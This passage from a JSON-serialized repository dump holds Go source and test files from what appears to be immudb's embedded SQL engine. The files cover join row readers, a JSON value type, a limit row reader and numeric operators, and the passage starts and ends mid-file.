or opening all joint readers\n\t\t//            on jointRowReader creation,\n\t\t// Note: We're using a dummy ScanSpec object that is only used during read, we're only interested\n\t\t//       in column list though\n\t\trr, err := jspec.ds.Resolve(ctx, jointr.Tx(), nil, &ScanSpecs{Index: &Index{}})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer rr.Close()\n\n\t\tcd, err := rr.colsBySelector(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor sel, des := range cd {\n\t\t\tif _, exists := jointDescriptors[sel]; exists {\n\t\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\t\"error resolving '%s' in a join: %w, \"+\n\t\t\t\t\t\t\"use aliasing to assign unique names \"+\n\t\t\t\t\t\t\"for all tables, sub-queries and columns\",\n\t\t\t\t\tsel,\n\t\t\t\t\tErrAmbiguousSelector,\n\t\t\t\t)\n\t\t\t}\n\t\t\tjointDescriptors[sel] = des\n\t\t}\n\t}\n\treturn jointDescriptors, nil\n}\n\nfunc (jointr *jointRowReader) colsByPos(ctx context.Context) ([]ColDescriptor, error) {\n\tcolDescriptors, err := jointr.rowReader.Columns(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, jspec := range jointr.joins {\n\n\t\t// TODO (byo) optimize this by getting selector list only or opening all joint readers\n\t\t//            on jointRowReader creation,\n\t\t// Note: We're using a dummy ScanSpec object that is only used during read, we're only interested\n\t\t//       in column list though\n\t\trr, err := jspec.ds.Resolve(ctx, jointr.Tx(), nil, &ScanSpecs{Index: &Index{}})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer rr.Close()\n\n\t\tcd, err := rr.Columns(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcolDescriptors = append(colDescriptors, cd...)\n\t}\n\n\treturn colDescriptors, nil\n}\n\nfunc (jointr *jointRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\terr := jointr.rowReader.InferParameters(ctx, params)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcols, err := jointr.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, join := range jointr.joins {\n\t\terr = join.ds.inferParameters(ctx, jointr.Tx(), params)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = join.cond.inferType(cols, params, jointr.TableAlias())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}\n\nfunc (jointr *jointRowReader) Parameters() map[string]interface{} {\n\treturn jointr.rowReader.Parameters()\n}\n\nfunc (jointr *jointRowReader) Read(ctx context.Context) (row *Row, err error) {\n\tfor {\n\t\trow := &Row{\n\t\t\tValuesByPosition: make([]TypedValue, 0),\n\t\t\tValuesBySelector: make(map[string]TypedValue),\n\t\t}\n\n\t\tfor len(jointr.rowReaders) > 0 {\n\t\t\tlastReader := jointr.rowReaders[len(jointr.rowReaders)-1]\n\n\t\t\tr, err := lastReader.Read(ctx)\n\t\t\tif err == ErrNoMoreRows {\n\t\t\t\t// previous reader will need to read next row\n\t\t\t\tjointr.rowReaders = jointr.rowReaders[:len(jointr.rowReaders)-1]\n\n\t\t\t\terr = lastReader.Close()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// override row data\n\t\t\tjointr.rowReadersValuesByPosition[len(jointr.rowReaders)-1] = r.ValuesByPosition\n\t\t\tjointr.rowReadersValuesBySelector[len(jointr.rowReaders)-1] = r.ValuesBySelector\n\n\t\t\tbreak\n\t\t}\n\n\t\tif len(jointr.rowReaders) == 0 {\n\t\t\treturn nil, ErrNoMoreRows\n\t\t}\n\n\t\t// append values from readers\n\t\tfor i := 0; i < len(jointr.rowReaders); i++ {\n\t\t\trow.ValuesByPosition = append(row.ValuesByPosition, jointr.rowReadersValuesByPosition[i]...)\n\n\t\t\tfor c, v := range jointr.rowReadersValuesBySelector[i] {\n\t\t\t\trow.ValuesBySelector[c] = v\n\t\t\t}\n\t\t}\n\n\t\tunsolvedFK := false\n\n\t\tfor i := len(jointr.rowReaders) - 1; i < len(jointr.joins); i++ {\n\t\t\tjspec := jointr.joins[i]\n\n\t\t\tjointq := &SelectStmt{\n\t\t\t\tds:      jspec.ds,\n\t\t\t\twhere:   jspec.cond.reduceSelectors(row, jointr.TableAlias()),\n\t\t\t\tindexOn: jspec.indexOn,\n\t\t\t}\n\n\t\t\treader, err := jointq.Resolve(ctx, jointr.Tx(), jointr.Parameters(), nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tr, err := reader.Read(ctx)\n\t\t\tif err == ErrNoMoreRows {\n\t\t\t\tif jspec.joinType == InnerJoin {\n\t\t\t\t\t// previous reader will need to read next row\n\t\t\t\t\tunsolvedFK = true\n\n\t\t\t\t\terr = reader.Close()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t} else { // LEFT JOIN: fill column values with NULLs\n\t\t\t\t\tcols, err := reader.Columns(ctx)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\tr = &Row{\n\t\t\t\t\t\tValuesByPosition: make([]TypedValue, len(cols)),\n\t\t\t\t\t\tValuesBySelector: make(map[string]TypedValue, len(cols)),\n\t\t\t\t\t}\n\n\t\t\t\t\tfor i, col := range cols {\n\t\t\t\t\t\tnullValue := NewNull(col.Type)\n\n\t\t\t\t\t\tr.ValuesByPosition[i] = nullValue\n\t\t\t\t\t\tr.ValuesBySelector[col.Selector()] = nullValue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if err != nil {\n\t\t\t\treader.Close()\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// progress with the joint readers\n\t\t\t// append the reader and kept the values for following rows\n\t\t\tjointr.rowReaders = append(jointr.rowReaders, reader)\n\t\t\tjointr.rowReadersValuesByPosition[i+1] = r.ValuesByPosition\n\t\t\tjointr.rowReadersValuesBySelector[i+1] = r.ValuesBySelector\n\n\t\t\trow.ValuesByPosition = append(row.ValuesByPosition, r.ValuesByPosition...)\n\n\t\t\tfor c, v := range r.ValuesBySelector {\n\t\t\t\trow.ValuesBySelector[c] = v\n\t\t\t}\n\t\t}\n\n\t\t// all readers have a valid read\n\t\tif !unsolvedFK {\n\t\t\treturn row, nil\n\t\t}\n\t}\n}\n\nfunc (jointr *jointRowReader) Close() error {\n\tmerr := multierr.NewMultiErr()\n\n\t// Closing joint readers backwards - the first reader executes the onClose callback\n\t// thus it must be closed at the end\n\tfor i := len(jointr.rowReaders) - 1; i >= 0; i-- {\n\t\terr := jointr.rowReaders[i].Close()\n\t\tmerr.Append(err)\n\t}\n\n\treturn merr.Reduce()\n}\n"
  },
  {
    "path": "embedded/sql/joint_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestJointRowReader(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, err = newJointRowReader(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), tx, \"CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\ttx, err = engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\tdefer tx.Cancel()\n\n\ttable := tx.catalog.tables[0]\n\n\tr, err := newRawRowReader(tx, nil, table, period{}, \"\", &ScanSpecs{Index: table.primaryIndex})\n\trequire.NoError(t, err)\n\n\t_, err = newJointRowReader(r, []*JoinSpec{{joinType: RightJoin}})\n\trequire.ErrorIs(t, err, ErrUnsupportedJoinType)\n\n\t_, err = newJointRowReader(r, []*JoinSpec{{joinType: LeftJoin}})\n\trequire.NoError(t, err)\n\n\t_, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &SelectStmt{}}})\n\trequire.NoError(t, err)\n\n\tjr, err := newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &tableRef{table: \"table1\", as: \"table2\"}}})\n\trequire.NoError(t, err)\n\n\torderBy := jr.OrderBy()\n\trequire.NotNil(t, orderBy)\n\trequire.Len(t, orderBy, 1)\n\trequire.Equal(t, \"id\", orderBy[0].Column)\n\trequire.Equal(t, \"table1\", orderBy[0].Table)\n\n\tcols, err := jr.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 4)\n\trequire.Equal(t, cols[0].Table, \"table1\")\n\trequire.Equal(t, cols[1].Table, \"table1\")\n\trequire.Equal(t, cols[2].Table, \"table2\")\n\trequire.Equal(t, cols[3].Table, \"table2\")\n\trequire.Equal(t, cols[0].Column, \"id\")\n\trequire.Equal(t, cols[1].Column, \"number\")\n\trequire.Equal(t, cols[2].Column, \"id\")\n\trequire.Equal(t, cols[3].Column, \"number\")\n\n\tscanSpecs := jr.ScanSpecs()\n\trequire.NotNil(t, scanSpecs)\n\trequire.NotNil(t, scanSpecs.Index)\n\trequire.True(t, scanSpecs.Index.IsPrimary())\n\n\tt.Run(\"corner cases\", func(t *testing.T) {\n\n\t\tt.Run(\"detect ambiguous selectors\", func(t *testing.T) {\n\t\t\tjr, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &tableRef{table: \"table1\"}}})\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = jr.colsBySelector(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrAmbiguousSelector)\n\t\t})\n\n\t\tt.Run(\"must propagate error from rowReader on colsBySelector\", func(t *testing.T) {\n\t\t\tjr := jointRowReader{\n\t\t\t\trowReader: &dummyRowReader{},\n\t\t\t}\n\n\t\t\tcols, err := jr.colsBySelector(context.Background())\n\t\t\trequire.ErrorIs(t, err, errDummy)\n\t\t\trequire.Nil(t, cols)\n\t\t})\n\n\t\tt.Run(\"must propagate error from rowReader on InferParameters\", func(t *testing.T) {\n\t\t\tjr := jointRowReader{\n\t\t\t\trowReader: &dummyRowReader{\n\t\t\t\t\tfailInferringParams: true,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\terr := jr.InferParameters(context.Background(), make(map[string]SQLValueType))\n\t\t\trequire.ErrorIs(t, err, errDummy)\n\n\t\t\tjr.rowReader.(*dummyRowReader).failInferringParams = false\n\t\t\terr = jr.InferParameters(context.Background(), make(map[string]SQLValueType))\n\t\t\trequire.ErrorIs(t, err, errDummy)\n\t\t})\n\n\t\tt.Run(\"must propagate error from rowReader on Columns\", func(t *testing.T) {\n\n\t\t\tjr := jointRowReader{\n\t\t\t\trowReader: &dummyRowReader{\n\t\t\t\t\tfailReturningColumns: true,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tcols, err := jr.Columns(context.Background())\n\t\t\trequire.ErrorIs(t, err, errDummy)\n\t\t\trequire.Nil(t, cols)\n\t\t})\n\n\t\tt.Run(\"must propagate error from joined reader on colsBySelector\", func(t *testing.T) {\n\t\t\tinjectedErr := errors.New(\"err\")\n\n\t\t\tjr, err := newJointRowReader(r,\n\t\t\t\t[]*JoinSpec{{joinType: InnerJoin, ds: &dummyDataSource{\n\t\t\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\t\t\treturn nil, injectedErr\n\t\t\t\t\t},\n\t\t\t\t}}})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tcols, err := jr.colsBySelector(context.Background())\n\t\t\trequire.ErrorIs(t, err, injectedErr)\n\t\t\trequire.Nil(t, cols)\n\t\t})\n\n\t\tt.Run(\"must propagate error from joined reader on colsBySelector from Resolve\", func(t *testing.T) {\n\n\t\t\tjr, err := newJointRowReader(r,\n\t\t\t\t[]*JoinSpec{{joinType: InnerJoin, ds: &dummyDataSource{\n\t\t\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\t\t\treturn &dummyRowReader{}, nil\n\t\t\t\t\t},\n\t\t\t\t}}})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tcols, err := jr.colsBySelector(context.Background())\n\t\t\trequire.ErrorIs(t, err, errDummy)\n\t\t\trequire.Nil(t, cols)\n\t\t})\n\t})\n}\n"
  },
  {
    "path": "embedded/sql/json_type.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nconst (\n\tJSONTypeNumber = \"NUMBER\"\n\tJSONTypeBool   = \"BOOL\"\n\tJSONTypeString = \"STRING\"\n\tJSONTypeArray  = \"ARRAY\"\n\tJSONTypeObject = \"OBJECT\"\n\tJSONTypeNull   = \"NULL\"\n)\n\ntype JSON struct {\n\tval interface{}\n}\n\nfunc NewJsonFromString(s string) (*JSON, error) {\n\tvar val interface{}\n\tif err := json.Unmarshal([]byte(s), &val); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &JSON{val: val}, nil\n}\n\nfunc NewJson(val interface{}) *JSON {\n\treturn &JSON{val: val}\n}\n\nfunc (v *JSON) Type() SQLValueType {\n\treturn JSONType\n}\n\nfunc (v *JSON) IsNull() bool {\n\treturn false\n}\n\nfunc (v *JSON) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn JSONType, nil\n}\n\nfunc (v *JSON) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tok := t == JSONType\n\tswitch t {\n\tcase IntegerType, Float64Type:\n\t\t_, isInt := v.val.(int64)\n\t\t_, isFloat := v.val.(float64)\n\t\tok = isInt || (isFloat && t == Float64Type)\n\tcase VarcharType:\n\t\t_, ok = v.val.(string)\n\tcase BooleanType:\n\t\t_, ok = v.val.(bool)\n\tcase AnyType:\n\t\tok = v.val == nil\n\t}\n\n\tif !ok {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, JSONType, t)\n\t}\n\treturn nil\n}\n\nfunc (v *JSON) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *JSON) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (sel *JSON) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *JSON) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *JSON) isConstant() bool {\n\treturn true\n}\n\nfunc (v *JSON) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *JSON) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *JSON) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn val.Compare(v)\n\t}\n\n\ttv, ok := v.castToTypedValue()\n\tif !ok {\n\t\treturn -1, fmt.Errorf(\"%w: comparison not defined for JSON %s\", ErrNotComparableValues, v.primitiveType())\n\t}\n\n\tif val.Type() != JSONType {\n\t\treturn tv.Compare(val)\n\t}\n\n\tres, err := val.Compare(tv)\n\treturn -res, err\n}\n\nfunc (v *JSON) primitiveType() string {\n\tswitch v.val.(type) {\n\tcase int64, float64:\n\t\treturn JSONTypeNumber\n\tcase string:\n\t\treturn JSONTypeString\n\tcase bool:\n\t\treturn JSONTypeBool\n\tcase nil:\n\t\treturn JSONTypeNull\n\tcase []interface{}:\n\t\treturn JSONTypeArray\n\t}\n\treturn JSONTypeObject\n}\n\nfunc (v *JSON) castToTypedValue() (TypedValue, bool) {\n\tvar tv TypedValue\n\tswitch val := v.val.(type) {\n\tcase int64:\n\t\ttv = NewInteger(val)\n\tcase string:\n\t\ttv = NewVarchar(val)\n\tcase float64:\n\t\ttv = NewFloat64(val)\n\tcase bool:\n\t\ttv = NewBool(val)\n\tcase nil:\n\t\ttv = NewNull(JSONType)\n\tdefault:\n\t\treturn nil, false\n\t}\n\treturn tv, true\n}\n\nfunc (v *JSON) String() string {\n\tdata, _ := json.Marshal(v.val)\n\treturn string(data)\n}\n\nfunc (v *JSON) lookup(fields []string) TypedValue {\n\tcurrVal := v.val\n\tfor i, field := range fields {\n\t\tswitch cv := currVal.(type) {\n\t\tcase map[string]interface{}:\n\t\t\tv, hasField := cv[field]\n\t\t\tif !hasField || (v == nil && i < len(field)-1) {\n\t\t\t\treturn NewNull(AnyType)\n\t\t\t}\n\t\t\tcurrVal = v\n\n\t\t\tif currVal == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\tcase []interface{}:\n\t\t\tidx, err := strconv.ParseInt(field, 10, 64)\n\t\t\tif err != nil || idx < 0 || idx >= int64(len(cv)) {\n\t\t\t\treturn NewNull(AnyType)\n\t\t\t}\n\t\t\tcurrVal = cv[idx]\n\t\tdefault:\n\t\t\treturn NewNull(AnyType)\n\t\t}\n\t}\n\treturn NewJson(currVal)\n}\n\ntype JSONSelector struct {\n\t*ColSelector\n\tfields []string\n}\n\nfunc (sel *JSONSelector) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn sel, nil\n}\n\nfunc (v *JSONSelector) resolve(implicitTable string) (string, string, string) {\n\taggFn, table, _ := v.ColSelector.resolve(implicitTable)\n\treturn aggFn, table, v.String()\n}\n\nfunc (v *JSONSelector) String() string {\n\treturn fmt.Sprintf(\"%s->'%s'\", v.ColSelector.col, strings.Join(v.fields, \"->\"))\n}\n\nfunc (sel *JSONSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tval, err := sel.ColSelector.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tjsonVal, ok := val.(*JSON)\n\tif !ok {\n\t\treturn val, fmt.Errorf(\"-> operator cannot be applied on column of type %s\", val.Type())\n\t}\n\treturn jsonVal.lookup(sel.fields), nil\n}\n\nfunc (sel *JSONSelector) selectors() []Selector {\n\treturn []Selector{sel}\n}\n\nfunc (sel *JSONSelector) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\tval := sel.ColSelector.reduceSelectors(row, implicitTable)\n\n\tjsonVal, ok := val.(*JSON)\n\tif !ok {\n\t\treturn sel\n\t}\n\treturn jsonVal.lookup(sel.fields)\n}\n"
  },
  {
    "path": "embedded/sql/limit_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport \"context\"\n\ntype limitRowReader struct {\n\trowReader RowReader\n\n\tlimit int\n\tread  int\n}\n\nfunc newLimitRowReader(rowReader RowReader, limit int) *limitRowReader {\n\treturn &limitRowReader{\n\t\trowReader: rowReader,\n\t\tlimit:     limit,\n\t}\n}\n\nfunc (lr *limitRowReader) onClose(callback func()) {\n\tlr.rowReader.onClose(callback)\n}\n\nfunc (lr *limitRowReader) Tx() *SQLTx {\n\treturn lr.rowReader.Tx()\n}\n\nfunc (lr *limitRowReader) TableAlias() string {\n\treturn lr.rowReader.TableAlias()\n}\n\nfunc (lr *limitRowReader) Parameters() map[string]interface{} {\n\treturn lr.rowReader.Parameters()\n}\n\nfunc (lr *limitRowReader) OrderBy() []ColDescriptor {\n\treturn lr.rowReader.OrderBy()\n}\n\nfunc (lr *limitRowReader) ScanSpecs() *ScanSpecs {\n\treturn lr.rowReader.ScanSpecs()\n}\n\nfunc (lr *limitRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn lr.rowReader.Columns(ctx)\n}\n\nfunc (lr *limitRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn lr.rowReader.colsBySelector(ctx)\n}\n\nfunc (lr *limitRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\treturn lr.rowReader.InferParameters(ctx, params)\n}\n\nfunc (lr *limitRowReader) Read(ctx context.Context) (*Row, error) {\n\tif lr.read >= lr.limit {\n\t\treturn nil, ErrNoMoreRows\n\t}\n\n\trow, err := lr.rowReader.Read(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlr.read++\n\n\treturn row, nil\n}\n\nfunc (lr *limitRowReader) Close() error {\n\treturn lr.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/limit_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLimitRowReader(t *testing.T) {\n\tdummyr := &dummyRowReader{failReturningColumns: false}\n\n\trowReader := newLimitRowReader(dummyr, 1)\n\trequire.Equal(t, dummyr.TableAlias(), rowReader.TableAlias())\n\trequire.Equal(t, dummyr.OrderBy(), rowReader.OrderBy())\n\trequire.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs())\n\n\trequire.Nil(t, rowReader.Tx())\n\n\t_, err := rowReader.Read(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\tdummyr.failReturningColumns = true\n\t_, err = rowReader.Columns(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\trequire.Nil(t, rowReader.Parameters())\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.NoError(t, err)\n\n\tdummyr.failInferringParams = true\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.ErrorIs(t, err, errDummy)\n}\n"
  },
  {
    "path": "embedded/sql/num_operator.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\t\"math\"\n)\n\nfunc applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) {\n\tif vl.Type() == Float64Type || vr.Type() == Float64Type {\n\t\treturn applyNumOperatorFloat64(op, vl, vr)\n\t}\n\treturn applyNumOperatorInteger(op, vl, vr)\n}\n\nfunc applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, error) {\n\tconvl, err := mayApplyImplicitConversion(vl.RawValue(), IntegerType)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", err)\n\t}\n\n\tnl, isNumber := convl.(int64)\n\tif !isNumber {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", ErrInvalidValue)\n\t}\n\n\tconvr, err := mayApplyImplicitConversion(vr.RawValue(), IntegerType)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", err)\n\t}\n\n\tnr, isNumber := convr.(int64)\n\tif !isNumber {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", ErrInvalidValue)\n\t}\n\n\tswitch op {\n\tcase ADDOP:\n\t\t{\n\t\t\treturn &Integer{val: nl + nr}, nil\n\t\t}\n\tcase SUBSOP:\n\t\t{\n\t\t\treturn &Integer{val: nl - nr}, nil\n\t\t}\n\tcase DIVOP:\n\t\t{\n\t\t\tif nr == 0 {\n\t\t\t\treturn nil, ErrDivisionByZero\n\t\t\t}\n\n\t\t\treturn &Integer{val: nl / nr}, nil\n\t\t}\n\tcase MODOP:\n\t\t{\n\t\t\tif nr == 0 {\n\t\t\t\treturn nil, ErrDivisionByZero\n\t\t\t}\n\n\t\t\treturn &Integer{val: nl % nr}, nil\n\t\t}\n\tcase MULTOP:\n\t\t{\n\t\t\treturn &Integer{val: nl * nr}, nil\n\t\t}\n\t}\n\n\treturn nil, ErrUnexpected\n}\n\nfunc applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, error) {\n\tconvl, err := mayApplyImplicitConversion(vl.RawValue(), Float64Type)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", err)\n\t}\n\n\tnl, isNumber := convl.(float64)\n\tif !isNumber {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", ErrInvalidValue)\n\t}\n\n\tconvr, err := mayApplyImplicitConversion(vr.RawValue(), Float64Type)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", err)\n\t}\n\n\tnr, isNumber := convr.(float64)\n\tif !isNumber {\n\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", ErrInvalidValue)\n\t}\n\n\tswitch op {\n\tcase ADDOP:\n\t\t{\n\t\t\treturn &Float64{val: nl + nr}, nil\n\t\t}\n\tcase SUBSOP:\n\t\t{\n\t\t\treturn &Float64{val: nl - nr}, nil\n\t\t}\n\tcase DIVOP:\n\t\t{\n\t\t\tif nr == 0 {\n\t\t\t\treturn nil, ErrDivisionByZero\n\t\t\t}\n\n\t\t\treturn &Float64{val: nl / nr}, nil\n\t\t}\n\tcase MODOP:\n\t\t{\n\t\t\tif nr == 0 {\n\t\t\t\treturn nil, ErrDivisionByZero\n\t\t\t}\n\n\t\t\treturn &Float64{val: math.Mod(nl, nr)}, nil\n\t\t}\n\tcase MULTOP:\n\t\t{\n\t\t\treturn &Float64{val: nl * nr}, nil\n\t\t}\n\t}\n\n\treturn nil, ErrUnexpected\n}\n"
  },
  {
    "path": "embedded/sql/num_operator_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNumOperator(t *testing.T) {\n\n\tt.Run(\"Successful operator\", func(t *testing.T) {\n\t\tfor _, d := range []struct {\n\t\t\top NumOperator\n\t\t\tlv TypedValue\n\t\t\trv TypedValue\n\t\t\tev interface{}\n\t\t}{\n\t\t\t{ADDOP, &Integer{val: 1}, &Integer{val: 2}, int64(3)},\n\t\t\t{ADDOP, &Integer{val: 1}, &Float64{val: 2}, float64(3)},\n\t\t\t{ADDOP, &Float64{val: 1}, &Integer{val: 2}, float64(3)},\n\t\t\t{ADDOP, &Float64{val: 1}, &Float64{val: 2}, float64(3)},\n\n\t\t\t{SUBSOP, &Integer{val: 1}, &Integer{val: 2}, int64(-1)},\n\t\t\t{SUBSOP, &Integer{val: 1}, &Float64{val: 2}, float64(-1)},\n\t\t\t{SUBSOP, &Float64{val: 1}, &Integer{val: 2}, float64(-1)},\n\t\t\t{SUBSOP, &Float64{val: 1}, &Float64{val: 2}, float64(-1)},\n\n\t\t\t{DIVOP, &Integer{val: 10}, &Integer{val: 3}, int64(3)},\n\t\t\t{DIVOP, &Integer{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)},\n\t\t\t{DIVOP, &Float64{val: 10}, &Integer{val: 3}, float64(10.0 